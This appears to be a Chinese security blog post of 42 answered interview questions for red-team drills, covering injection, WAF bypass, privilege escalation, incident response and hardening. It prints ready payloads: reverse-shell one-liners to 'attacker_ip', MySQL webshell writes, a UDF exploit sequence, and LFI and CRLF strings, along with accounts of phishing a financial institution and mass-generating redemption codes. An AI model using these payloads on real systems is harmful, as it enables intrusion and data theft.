安全领域各种资源,学习文档,以及工具分享、前沿信息分享、POC、EXP分享。不定期分享各种好玩的项目及好用的工具,欢迎关注。
目录
[2025年HW(护网面试) 02](#2025年HW(护网面试) 02)
[1. 有趣的挖洞经历](#1. 有趣的挖洞经历)
[2. 高频漏洞及修复方案](#2. 高频漏洞及修复方案)
[3. PHP/Java反序列化漏洞](#3. PHP/Java反序列化漏洞)
[4. 服务器入侵应急响应流程](#4. 服务器入侵应急响应流程)
[5. 常用渗透工具及特点](#5. 常用渗透工具及特点)
[6. WAF绕过案例(SQL注入)](#6. WAF绕过案例(SQL注入))
[7. SQL注入检测方法](#7. SQL注入检测方法)
[8. SQL注入全解析](#8. SQL注入全解析)
[9. 无错误回显原因](#9. 无错误回显原因)
[10. 宽字符注入原理](#10. 宽字符注入原理)
[11. CRLF注入原理](#11. CRLF注入原理)
[12. MySQL 5.0注入差异](#12. MySQL 5.0注入差异)
[13. php.ini 安全特性](#13. php.ini 安全特性)
[14. %00截断原理](#14. %00截断原理)
[15. Webshell检测方法](#15. Webshell检测方法)
[16. PHP LFI漏洞原理](#16. PHP LFI漏洞原理)
[17. 中间件解析漏洞](#17. 中间件解析漏洞)
[18. MySQL用户密码存储](#18. MySQL用户密码存储)
[19. Windows、Linux、数据库的加固降权思路(任选其一)](#19. Windows、Linux、数据库的加固降权思路(任选其一))
[20. 判断系统是否存在后门的工具](#20. 判断系统是否存在后门的工具)
[21. 绕过CDN获取目标网站真实IP的思路](#21. 绕过CDN获取目标网站真实IP的思路)
[22. 网站渗透测试思路(授权前提下)](#22. 网站渗透测试思路(授权前提下))
[23. Windows与Linux系统提权思路](#23. Windows与Linux系统提权思路)
[24. 开源组件高危漏洞(10个以上)](#24. 开源组件高危漏洞(10个以上))
[25. 反弹Shell命令及常用类型](#25. 反弹Shell命令及常用类型)
[26. CMD查询远程终端开放端口](#26. CMD查询远程终端开放端口)
[27. IIS+PHP+MySQL渗透思路(root注入漏洞)](#27. IIS+PHP+MySQL渗透思路(root注入漏洞))
[28. MySQL查询表列名语句](#28. MySQL查询表列名语句)
[29. UDF提权](#29. UDF提权)
[30. SQL头注入点](#30. SQL头注入点)
[31. PHP命令执行函数](#31. PHP命令执行函数)
[32. SSRF漏洞:成因、防御、绕过](#32. SSRF漏洞:成因、防御、绕过)
[33. MySQL写Shell的几种方法](#33. MySQL写Shell的几种方法)
[34. Metasploit打开反向监听的命令](#34. Metasploit打开反向监听的命令)
[35. 反向代理工具](#35. 反向代理工具)
[36. 曲折的渗透经历](#36. 曲折的渗透经历)
[37. 查找域控方法](#37. 查找域控方法)
[38. PHP弱类型底层判断原理](#38. PHP弱类型底层判断原理)
[39. ARP攻击原理及防御](#39. ARP攻击原理及防御)
[40. 渗透大企业 vs 小站点](#40. 渗透大企业 vs 小站点)
[41. 内网反弹Shell流量隐蔽方法](#41. 内网反弹Shell流量隐蔽方法)
[42. 非TCP/IP协议内网数据外传](#42. 非TCP/IP协议内网数据外传)
2025年HW(护网面试) 02
1、介绍一下自认为有趣的挖洞经历 2、你平时用的比较多的漏洞是哪些?相关漏洞的原理?以及对应漏洞的修复方案? 3、php/java反序列化漏洞的原理?解决方案? 4、如果一台服务器被入侵后,你会如何做应急响应 5、你平时使用哪些工具?以及对应工具的特点? 6、遇到waf如何进行sql注入/上传Webshell?请写出曾经绕过WAF的经过(SQLi,XSS,上传漏洞选一) 7、如何判断sql注入,有哪些方法 8、介绍 SQL 注入漏洞成因,如何防范?注入方式有哪些?除了数据库数据,利用方式还有哪些? 9、为什么有的时候没有错误回显 10、宽字符注入的原理?如何利用宽字符注入漏洞,payload如何构造 11、CRLF注入的原 12、mysql的网站注入,5.0以上和5.0以下有什么区别? 13、php.ini可以设置哪些安全特性 14、php的%00截断的原理是什么? 15、webshell检测,有哪些方法 16、php的LFI,本地包含漏洞原理是什么? 17、说说常见的中间件解析漏洞利用方式 18、mysql的用户名密码是存放在那张表里面?mysql密码采用哪种加密方式? 19、Windows、Linux、数据库的加固降权思路,任选其一 20、你使用什么工具来判断系统是否存在后门 21、如何绕过CDN获取目标网站真实IP,谈谈你的思路? 22、如果给你一个网站,你的渗透测试思路是什么? 在获取书面授权的前提下。 23、谈一谈Windows系统与Linux系统提权的思路? 24、列举出您所知道的所有开源组件高危漏洞(十个以上) 25、反弹 shell 的常用命令?一般常反弹哪一种 shell?为什么? 26、CMD命令行如何查询远程终端开放端口 27、服务器为IIS+PHP+MySQL,发现root权限注入漏洞,讲讲你的渗透思路 28、请写出Mysql5数据库中查询库'helloworld'中'users'表所有列名的语句 29、udf提权 30、SQL头注入点 31、php中命令执行涉及到的函数 32.、SSRF漏洞的成因 防御 绕过 33、mysql写shell有几种方法 34、Metasploit 打开反向监听的命令 35、有哪些反向代理的工具? 36、有什么比较曲折的渗透经历 37、怎么查找域控 38、PHP 作为弱类型语言,在底层它是怎么判断变量的类型的 39、ARP 攻击的原理(讲出具体的流程),如何发现并防御 ARP 攻击 40、渗透大企业简单还是小站点简单,为什么 41、内网如何反弹 shell,反弹的 shell 流量如何隐蔽 42、除了 TCPIP 协议,如何将内网数据传递出来(内网环境有着严格防御与审查)1. 有趣的挖洞经历
目标 :某在线教育平台的课程兑换码系统
漏洞 :逻辑漏洞(兑换码无限生成)
过程:
- 发现兑换码生成接口未验证权限,普通用户可调用生成接口;
- 通过Burp重放请求,发现响应中直接返回有效兑换码;
- 构造批量脚本生成数万个兑换码,导致平台损失数万元;
修复方案:
- 接口添加权限校验(如JWT鉴权);
- 限制单用户生成频率(如每分钟1次);
- 兑换码使用后立即失效。
2. 高频漏洞及修复方案
漏洞类型 原理 修复方案 SQL注入 用户输入拼接SQL导致命令执行 预编译语句(MyBatis #{}) SSRF 服务端发起未校验的外部请求 禁用非常用协议,URL白名单 文件上传 未过滤文件类型和内容 MIME校验+文件头检测
3. PHP/Java反序列化漏洞
原理:
- PHP :
unserialize()触发魔术方法(如__wakeup());- Java :
ObjectInputStream反序列化触发readObject();
解决方案:- PHP:使用
json_decode()替代;- Java:实现
SerializationFilter校验类白名单。
4. 服务器入侵应急响应流程
- 隔离网络:断开网线或禁用端口;
- 备份取证 :
- 内存镜像:
dumpit.exe(Windows)/LiME(Linux);- 关键日志:
/var/log/auth.log、Windows事件日志;- 分析溯源 :
- 查找后门:
find / -name "*.php" -mtime -1;- 排查进程:
ps auxf | grep reverse_shell;- 恢复加固:修复漏洞、重置SSH密钥。
5. 常用渗透工具及特点
工具 用途 特点 Burp Suite Web漏洞测试 插件扩展(Logger++) Nmap 端口扫描 脚本引擎(NSE) CobaltStrike 内网渗透 可视化C2控制
6. WAF绕过案例(SQL注入)
场景 :某云WAF拦截
UNION SELECT
绕过步骤:
- 注释混淆 :
UNION/*!88888abc*/SELECT 1,2,3;- 分块传输 :
Transfer-Encoding: chunked分割Payload;
最终Payload:
sql`id=1'/*!and*/1=2 union select 1,@@version,3-- -`
7. SQL注入检测方法
- 错误回显 :输入单引号
'触发数据库报错;- 布尔盲注 :
and 1=1(正常) vsand 1=2(异常);- 时间盲注 :
and sleep(5)观察响应延迟。
8. SQL注入全解析
成因 :动态拼接SQL(如
"SELECT * FROM users WHERE id=" + input)
防范:
- 预编译(Java的
PreparedStatement);- 输入过滤(正则过滤
'和--)。
注入方式:- Union注入、报错注入、堆叠查询;
扩展利用:- 读取文件:
LOAD_FILE('/etc/passwd');- 执行命令:
MySQL UDF调用系统函数。
9. 无错误回显原因
- 配置
display_errors = Off;- 自定义错误页面(如PHP的
error_reporting(0));- 前端过滤错误信息(如JSON统一封装)。
10. 宽字符注入原理
原理 :GBK编码中
%bf%27被解析为縗',绕过转义(\'→%5c%27);
Payload:
id=%bf%27 union select 1,database(),3--+
11. CRLF注入原理
原理 :注入
%0d%0a(回车换行)伪造HTTP头或日志;
利用:
/login?url=test%0d%0aSet-Cookie:admin=1
12. MySQL 5.0注入差异
特性 5.0以下 5.0以上 信息获取 暴力猜解表名 查 information_schema函数权限 受限 支持 LOAD_FILE()
13. php.ini 安全特性
ini`disable_functions = system,exec,passthru # 禁用危险函数 open_basedir = /var/www/html # 限制文件访问 expose_php = Off # 隐藏PHP版本 cgi.fix_pathinfo = 0 # 防止路径解析漏洞 `
14. %00截断原理
场景 :
include($_GET['file'] . '.php');
利用 :file=../../etc/passwd%00(PHP<5.3自动截断);
原理 :C语言中\x00为字符串终止符。
15. Webshell检测方法
- 静态检测 :正则匹配
eval(、system(等函数;- 动态检测 :监控异常进程(如
/bin/sh -i);- 流量分析:识别加密Webshell的固定特征(如蚁剑流量)。
16. PHP LFI漏洞原理
原理 :
include()或require()动态包含未过滤的文件路径;
利用:
?file=php://filter/convert.base64-encode/resource=index.php
17. 中间件解析漏洞
中间件 漏洞形式 IIS 6.0 /shell.asp;.jpg执行ASP代码Apache file.php.jpg解析为PHPNginx /test.jpg/test.php触发解析
18. MySQL用户密码存储
存储表 :
mysql.user;
加密方式:
- MySQL 5.7+:
SHA256+ 盐;- 历史版本:
SHA1(SHA1(password))。19. Windows、Linux、数据库的加固降权思路(任选其一)
选择Linux系统加固思路:
最小化安装:仅安装必要软件包,减少攻击面。
用户与权限控制 :
- 创建低权限用户运行服务(如
www-data运行Web服务);- 禁用root远程登录,使用
sudo授权普通用户;- 设置严格的文件权限(如
chmod 750 /var/www)。防火墙配置 :
- 使用
iptables或firewalld限制入站端口(仅开放SSH、HTTP/HTTPS);- 默认拒绝所有入站,允许特定IP访问管理端口。
服务加固 :
禁用不必要的服务(
systemctl disable vsftpd);配置SSH安全:
bash`# /etc/ssh/sshd_config PermitRootLogin no PasswordAuthentication no # 强制密钥登录`日志与监控 :
- 启用
auditd审计关键文件(如/etc/passwd);- 配置
logrotate防止日志溢出。
20. 判断系统是否存在后门的工具
常用工具及特点:
- Rootkit检测工具 :
chkrootkit:检查常见rootkit特征;rkhunter:扫描隐藏文件、异常进程等。- 进程监控 :
ps auxf+netstat -antp:排查异常进程与网络连接;lsof -p <PID>:查看进程打开文件。- 文件完整性校验 :
AIDE(高级入侵检测环境):创建文件哈希数据库,定期比对。- 内存分析 :
Volatility:针对内存镜像分析恶意进程、隐藏模块。
21. 绕过CDN获取目标网站真实IP的思路
- 历史DNS记录 :
- 查询
SecurityTrails、DNSdumpster等获取历史A记录。- 子域名探测 :
- 扫描未接入CDN的子域名(如
test.example.com),可能指向真实IP。- 邮件服务器溯源 :
- 注册网站邮箱或触发邮件(如密码重置),检查邮件头
Received字段IP。- SSL证书匹配 :
- 在
Censys搜索相同SSL证书的IP地址。- 敏感文件泄露 :
- 访问
/phpinfo.php、/server-status等可能暴露真实IP的文件。- 全球Ping :
- 使用
Cloudflare未覆盖的地区节点(如南美、非洲)进行Ping测试(工具:Ping.eu)。
22. 网站渗透测试思路(授权前提下)
- 信息收集 :
- 域名/IP资产(
Amass)、端口服务(Nmap)、目录扫描(Dirb)。- 漏洞扫描 :
- 自动化扫描器(
Burp Suite、Nessus)检测SQL注入/XSS等。- 手动测试重点区域 :
- 登录/支付/密码重置功能(逻辑漏洞);
- 文件上传点(绕过黑名单);
- API接口(未授权访问)。
- 权限提升与持久化 :
- 利用系统/服务漏洞提权(如DirtyPipe);
- 写入Webshell或计划任务。
- 报告输出 :
- 清晰描述漏洞原理、复现步骤、危害及修复建议。
23. Windows与Linux系统提权思路
Windows提权:
- 内核漏洞 :
- 工具
Watson检测未修复漏洞(如CVE-2021-34527打印噩梦)。- 服务权限滥用 :
- 查找可写服务路径(
accesschk.exe+sc config修改路径)。- 凭证窃取 :
- 内存抓取密码(
Mimikatz)、SAM数据库导出。Linux提权:
- SUID滥用 :
find / -perm -4000 2>/dev/null查找可执行文件(如find命令执行:find . -exec /bin/sh \;)。- 定时任务 :
- 检查可写的Cron脚本(
/etc/cron*)。- 环境变量劫持 :
- PATH中插入恶意路径(如替换
ls为恶意脚本)。
24. 开源组件高危漏洞(10个以上)
组件 漏洞编号/名称 影响 Log4j CVE-2021-44228(Log4Shell) 远程代码执行(RCE) OpenSSL CVE-2014-0160(Heartbleed) 内存信息泄露 Apache Struts CVE-2017-5638 OGNL表达式RCE Spring CVE-2022-22965 远程代码执行 Fastjson CVE-2017-18349 反序列化RCE ThinkPHP CVE-2018-20062 任意文件包含 Drupal CVE-2018-7600(Drupalgeddon2) 远程代码执行 Redis 未授权访问漏洞 数据泄露/RCE Nginx CVE-2013-2028 栈溢出导致RCE GitLab CVE-2021-22205 未授权RCE
25. 反弹Shell命令及常用类型
常用命令:
bash`# Bash bash -i >& /dev/tcp/attacker_ip/port 0>&1 # Python python -c 'import socket,os,pty;s=socket.socket();s.connect(("attacker_ip",port));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);pty.spawn("/bin/sh")' `常用Shell类型 :
/bin/bash或/bin/sh
原因:
- 交互性强(支持Tab补全、历史命令);
- 广泛存在于Linux系统,兼容性好。
26. CMD查询远程终端开放端口
cmd`netstat -ano | findstr "ESTABLISHED" | findstr ":3389" `
- 说明:过滤3389端口(RDP默认端口)的已建立连接。
27. IIS+PHP+MySQL渗透思路(root注入漏洞)
利用SQL注入 :
- 获取数据库信息:
union select user(),@@version,database();- 读取敏感文件:
' UNION SELECT LOAD_FILE('/etc/passwd'),2,3 -- -。写入Webshell :
sql`UNION SELECT "<?php system($_GET['cmd']); ?>",2,3 INTO OUTFILE '/var/www/shell.php' `前提:MySQL有写权限且
secure_file_priv为空。提权 :
- 利用PHP执行系统命令,上传提权工具(如
LinEnum.sh);- 内核漏洞提权(如
DirtyCow)。
28. MySQL查询表列名语句
sql`SELECT COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_SCHEMA='helloworld' AND TABLE_NAME='users'; `
29. UDF提权
步骤:
编译恶意UDF文件(如
lib_mysqludf_sys.so);导入MySQL:
sql`CREATE FUNCTION sys_exec RETURNS STRING SONAME 'lib_mysqludf_sys.so'; `执行命令:
sql`SELECT sys_exec('id > /tmp/out'); `注意:需
plugin_dir写权限及MySQL版本匹配。
30. SQL头注入点
指注入点在HTTP头部字段,例如:
User-Agent:' OR 1=1-- -;X-Forwarded-For:127.0.0.1'; WAITFOR DELAY '0:0:5'-- -;Cookie:token=' UNION SELECT 1,2,3-- -。
31. PHP命令执行函数
高危函数列表:
php``system("id"); // 执行命令并输出结果 exec("ls", $output); // 执行命令返回最后一行 passthru("cat /etc/passwd"); // 直接输出原始结果 shell_exec("whoami"); // 执行命令返回完整输出 `$_GET['cmd']`; // 反引号执行 ``
32. SSRF漏洞:成因、防御、绕过
成因 :服务端未校验用户输入的URL(如
file_get_contents($_GET['url']))。
防御:
- 禁止
file://、gopher://等危险协议;- 内网IP黑名单校验。
绕过:- IPv6地址:
http://[::1]:80/;- DNS重绑定:利用TTL为0的域名指向内网IP(如
rbndr.us);- 302跳转:构造恶意跳转至
127.0.0.1。
33. MySQL写Shell的几种方法
INTO OUTFILE :
sql`SELECT "<?php eval($_POST['cmd']);?>" INTO OUTFILE '/var/www/shell.php'; `日志文件写入 :
sql`SET global general_log_file='/var/www/shell.php'; SET global general_log=on; SELECT '<?php system($_GET["c"]);?>'; `慢查询日志 :
sql`SET GLOBAL slow_query_log_file='/var/www/shell.php'; SET GLOBAL slow_query_log=1; SELECT '<?php system($_GET["c"]);?>' FROM SLEEP(11); `
34. Metasploit打开反向监听的命令
bash`msf6 > use exploit/multi/handler msf6 exploit(multi/handler) > set payload linux/x86/meterpreter/reverse_tcp msf6 exploit(multi/handler) > set LHOST 192.168.1.10 msf6 exploit(multi/handler) > set LPORT 4444 msf6 exploit(multi/handler) > run `
35. 反向代理工具
工具 特点 Ngrok 公有服务器中转,无需公网IP frp 高性能内网穿透,支持TCP/UDP reGeorg 专用于HTTP/Socks代理跳板 Chisel 加密隧道,支持多协议
36. 曲折的渗透经历
目标 :某金融机构内部系统
过程:
- 初始入口:钓鱼邮件获取员工VPN账号;
- 内网扫描:发现老旧Windows Server 2008(未打补丁);
- 提权失败:多次内核利用失败(系统加固);
- 横向移动:抓取内存密码进入数据库服务器;
- 数据获取:利用MySQL弱口令导出百万条交易记录。
关键点:通过SMB共享传播恶意计划任务绕过防护。
37. 查找域控方法
DNS查询 :
cmd`nslookup -type=SRV _ldap._tcp.dc._msdcs.example.com `命令探测 :
cmd`net group "Domain Controllers" /domain # Windows `端口扫描 :
- 域控通常开放389(LDAP)、88(Kerberos)等端口。
38. PHP弱类型底层判断原理
原理:
- PHP使用
zval结构体存储变量,包含值(value)和类型(type);- 类型转换规则(如
"123abc" == 123):
- 字符串转为数字时从左截取到第一个非数字字符;
- 比较时若一方为整数,另一方字符串会被转为整数再比较。
39. ARP攻击原理及防御
原理(流程):
攻击者发送伪造ARP响应包:
"我是192.168.1.1,我的MAC是XX:XX:XX(攻击者MAC)"网关与受害者更新ARP缓存,流量被重定向到攻击者主机。
检测方法:
- ARP表异常(如多IP映射同MAC);
- 工具:
arpwatch监控MAC变化。
防御:- 静态ARP绑定(
arp -s 网关IP 网关MAC);- 交换机端口安全(MAC绑定)。
40. 渗透大企业 vs 小站点
大企业更难:
- 原因:
- 安全团队专业(WAF、IDS、SOC监控);
- 资产分散但防护完善(漏洞修复快);
- 代码审计严格(SDL流程)。
小站点更易:- 原因:
- 安全投入低(默认配置、弱密码);
- 缺乏维护(老旧系统未更新)。
41. 内网反弹Shell流量隐蔽方法
- 加密通信 :
- 使用HTTPS隧道(如
Stunnel);- 工具:
Metasploit的reverse_https载荷。- 协议伪装 :
- 流量伪装成DNS、ICMP(工具:
DNSCat、ICMP隧道)。- 延时与分片 :
- 设置命令执行间隔降低流量特征(如
meterpreter的set CommunicationTimeout)。
42. 非TCP/IP协议内网数据外传
- 物理介质 :
- USB设备手动传递(风险高)。
- 隐蔽信道 :
- HTTP隐蔽信道 :图片隐写(
steghide)、协议字段(如Cookie);- ICMP隐蔽信道 :利用ICMP报文载荷传递数据(工具:
icmpsh);- DNS隐蔽信道 :将数据编码为DNS查询(如
AAAA记录请求)。